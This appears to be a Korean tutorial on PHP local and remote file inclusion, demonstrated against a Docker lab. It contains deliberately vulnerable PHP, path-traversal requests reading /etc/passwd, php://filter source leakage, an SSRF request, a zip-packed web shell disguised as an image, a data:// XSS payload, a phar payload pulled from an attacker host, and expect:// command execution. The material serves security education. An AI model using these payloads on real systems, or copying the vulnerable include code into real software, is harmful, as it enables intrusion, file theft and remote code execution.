FI(File Inclusion)
LFI(Local File Inclusion) & RFI(Remote File Inclusion)는 Local, Remote에 존재하는 파일을 웹에 포함시켜 응답을 받아 해커가 원하는 코드를 포함 시키거나 데이터를 포함시켜 응답을 받는 것을 의미합니다.
취약점 발생 함수
PHP를 기준으로 작성한 글입니다.
include(), include_once(), require(), require_once(), file_get_contents(), fopen()와 같은 다른 파일을 불러오는 함수에서 사용자의 입력 값을 통해 불러오는 파일 이름을 변경 가능할 경우 발생가능한 취약점 입니다.
Docker 환경 구성
command
docker build . -t fi
Bash
복사
docker run -p 80:80 --rm --name=fi fi
Bash
복사
내부에는 hello.txt, world.txt 두개가 존재하는 것을 확인할 수 있습니다.
root@de0d3107f1e1:/var/www/html# ls -al | grep txt
-rw-r--r-- 1 root root 19 Jun 28 04:41 hello.txt
-rw-r--r-- 1 root root 19 Jun 28 04:41 world.txt
Bash
복사
Local File Inclusion
index.php Code
<!DOCTYPE html>
<head>
<title>File Inclusiton</title>
</head>
<body>
<h1><a href="./index.php?file=hello.txt">hello</a></h1>
<br>
<h1><a href="./index.php?file=world.txt">world</a></h1>
</body>
</html>
<?php
if (isset($_GET['file']) && !empty($_GET['file']))
{
include($_GET['file']);
}
?>
PHP
복사
아래의 16 Line에서 취약점이 발생합니다.
include($_GET['file']);
PHP
복사
Request
GET /index.php?file=../../../../../../../etc/passwd
Bash
복사
Response
HTTP/1.1 200
...
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
...
Bash
복사
Remote File Inclusion
web.php Code
<!DOCTYPE html>
<head>
<title>File Inclusiton</title>
</head>
<body>
<form action='web.php' method="GET">
<label>URL : </label>
<input type="text" name="url">
<input type="submit" value="Send">
</form>
</body>
</html>
<?php
if (isset($_GET['url']) && !empty($_GET['url']))
{
$data = file_get_contents($_GET['url']);
echo $data;
}
?>
PHP
복사
아래의 18~19 Line에서 취약점이 발생합니다.
$data = file_get_contents($_GET['url']);
echo $data;
PHP
복사
Request
GET /web.php?url=http://naver.com
Bash
복사
Response
NULL Byte Injection
해당 기법은 입력한 문자열 뒤에 .php와 같은 문자열이 붙을때 사용가능한 기법입니다.
Request
GET /index.php?file=../../../../../../etc/passwd%00.phpd
PHP
복사
Path and Dot Truncation
PHP는 4096 Byte의 파일 이름 제한이 있습니다. 주어진 파일 이름이 4096 Byte보다 길면 파일 이름을 자르고 뒤에 문자를 버립니다. 이를 통해서 이름 뒤에 붙는 확장자명을 Bypass 할 수 있습니다.
PHP Wrapper
아래의 코드로 지원하는 wrappers 확인이 가능합니다.
<?php
var_dump(stream_get_wrappers());
?>
PHP
복사
array(10) {
[0]=>
string(5) "https"
[1]=>
string(4) "ftps"
[2]=>
string(13) "compress.zlib"
[3]=>
string(3) "php"
[4]=>
string(4) "file"
[5]=>
string(4) "glob"
[6]=>
string(4) "data"
[7]=>
string(4) "http"
[8]=>
string(3) "ftp"
[9]=>
string(4) "phar"
}
PHP
복사
file
file wrapper는 로컬 파일 시스템에 접근시켜 줍니다.
Request
GET /index.php?file=file:///var/www/html/web.php&url=http://127.0.0.1:1229
Bash
복사
Response
원래 파일의 내용과 더불어 web.php 코드 실행 결과도 확인 가능합니다.
또한 url로 전달된 http://127.0.0.1:1229의 내용도 확인가능합니다.
메뉴얼에서 이야기하는 include의 경우 아래와 같습니다.
파일이 포함될 때 포함된 코드는 포함이 발생한 줄의 변수 범위를 상속합니다. 호출 파일의 해당 행에서 사용할 수 있는 모든 변수는 해당 지점부터 호출된 파일 내에서 사용할 수 있습니다. 그러나 포함된 파일에 정의된 모든 함수와 클래스는 전역 범위를 갖습니다.
즉 쉽게 말하면 include는 원래 코드 사이에 include 한 코드를 넣어서 실행된다 라고 이해하시면 편합니다.
http
command
docker exec -it fi python3 -m http.server 1229 -d /local_server/
Bash
복사
위 커맨드를 입력해 docker 내부 1229번 포트로 서버를 열어줍니다.
도커 내부 서버임으로 접근이 불가능합니다.
Code
<!DOCTYPE html>
<head>
<title>File Inclusiton</title>
</head>
<body>
<form action='web.php' method="GET">
<label>URL : </label>
<input type="text" name="url">
<input type="submit" value="Send">
</form>
</body>
</html>
<?php
if (isset($_GET['url']) && !empty($_GET['url']))
{
$data = file_get_contents($_GET['url']);
echo $data;
}
?>
PHP
복사
아래의 18 Line에서 로컬 서버에 접근할 수 있는 취약점이 발생합니다.
$data = file_get_contents($_GET['url']);
PHP
복사
Request
GET /web.php?url=http://127.0.0.1:1229/local_file.txt
Bash
복사
Response
접근 할 수 없는 Local Server에 접속 가능합니다.
php
php wrapper의 경우 I/O Streams를 접근할 수 있습니다.
php://input
HTTP Body로 전달된 데이터 POST 데이터를 입력받아옵니다.
Request
POST /web.php?url=php://input
<h1>hello</h1>
or
<?php phpinfo();?>
Bash
복사
php://filter
•
•
◦
convert.base64-encode
◦
convert.base64-decode
◦
convert.quoted-printable-encode
◦
convert.quoted-printable-decode
•
•
Other Filters
<?php
var_dump(stream_get_filters());
?>
PHP
복사
◦
consumed
◦
dechunk
◦
convert.*
•
Name | Description |
resource= | 필수이며, filters를 적용하려는 대상입니다. |
read= | 선택 사항이며, | 로 구분하며 하나 이상의 filters를 적용시킵니다. |
write= | 선택 사항이며, | 로 구분하며 하나 이상의 filters를 적용시킵니다. |
실제 공격에는 Conversion Filters에 convert.base64-encode를 이용하여 소스코드를 유출할 수 있습니다.
Request
GET /index.php?file=php://filter/convert.base64-encode/resource=///var/www/html/index.php
Bash
복사
Response
...
PCFET0NUWVBFIGh0bWw+CiAgICA8aGVhZD4KICAgICAgICA8dGl0bGU+RmlsZSBJbmNsdXNpdG9uPC90aXRsZT4KICAgIDwvaGVhZD4KICAgIDxib2R5PgogICAgICAgIDxoMT48YSBocmVmPSIuL2luZGV4LnBocD9maWxlPWhlbGxvLnR4dCI+aGVsbG88L2E+PC9oMT4KICAgICAgICA8YnI+CiAgICAgICAgPGgxPjxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9d29ybGQudHh0Ij53b3JsZDwvYT48L2gxPgogICAgPC9ib2R5Pgo8L2h0bWw+Cgo8P3BocAoKICAgIGlmIChpc3NldCgkX0dFVFsnZmlsZSddKSAmJiAhZW1wdHkoJF9HRVRbJ2ZpbGUnXSkpCiAgICB7CiAgICAgICAgaW5jbHVkZSgkX0dFVFsnZmlsZSddKTsKICAgIH0KPz4=
...
Bash
복사
<!DOCTYPE html>
<head>
<title>File Inclusiton</title>
</head>
<body>
<h1><a href="./index.php?file=hello.txt">hello</a></h1>
<br>
<h1><a href="./index.php?file=world.txt">world</a></h1>
</body>
</html>
<?php
if (isset($_GET['file']) && !empty($_GET['file']))
{
include($_GET['file']);
}
?>
PHP
복사
zip
zip warpper의 경우 압축 파일을 조작하기 위한 warpper입니다.
zip:///filename_path#internal_filename 에서 filename_path는 internal_filename의 경로 즉 ZIP 파일의 경로이며, internal_filename는 실행할 악성 파일의 이름입니다.
해당 warpper의 경우 공격자가 서버에 파일을 업로드할 수 있을 경우 발생하며 아래와 같이 이용 가능합니다.
command
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
Bash
복사
Request
GET /index.php?page=zip://shell.jpg#payload.php
Bash
복사
data
이를 이용하여 file_get_contents와 같은 함수 혹은 allow_url_include, allow_url_fopen이 활성화 되어있는 경우 사용하여 XSS 공격을 발생시킬 수 있습니다.
Request
GET /web.php?url=data://text/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
Bash
복사
Response
<!DOCTYPE html>
<head>
<title>File Inclusiton</title>
</head>
<body>
<form action='web.php' method="GET">
<label>URL : </label>
<input type="text" name="url">
<input type="submit" value="Send">
</form>
</body>
</html>
<script>alert(1)</script>
HTML
복사
phar
phar warpper의 경우 PHP Archive를 지원하는 stream warpper입니다.
보통의 경우 공격자의 서버에 phar 파일을 업로드하고 불러오는 방식으로 exploit에 사용됩니다.
attack
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
Bash
복사
Request
GET /index.php?page=phar://attacker/payload.phar
Bash
복사
expect
expect wrapper는 system command를 실행시켜 줍니다.
Request
GET /index.php?file=expect://ls
Bash
복사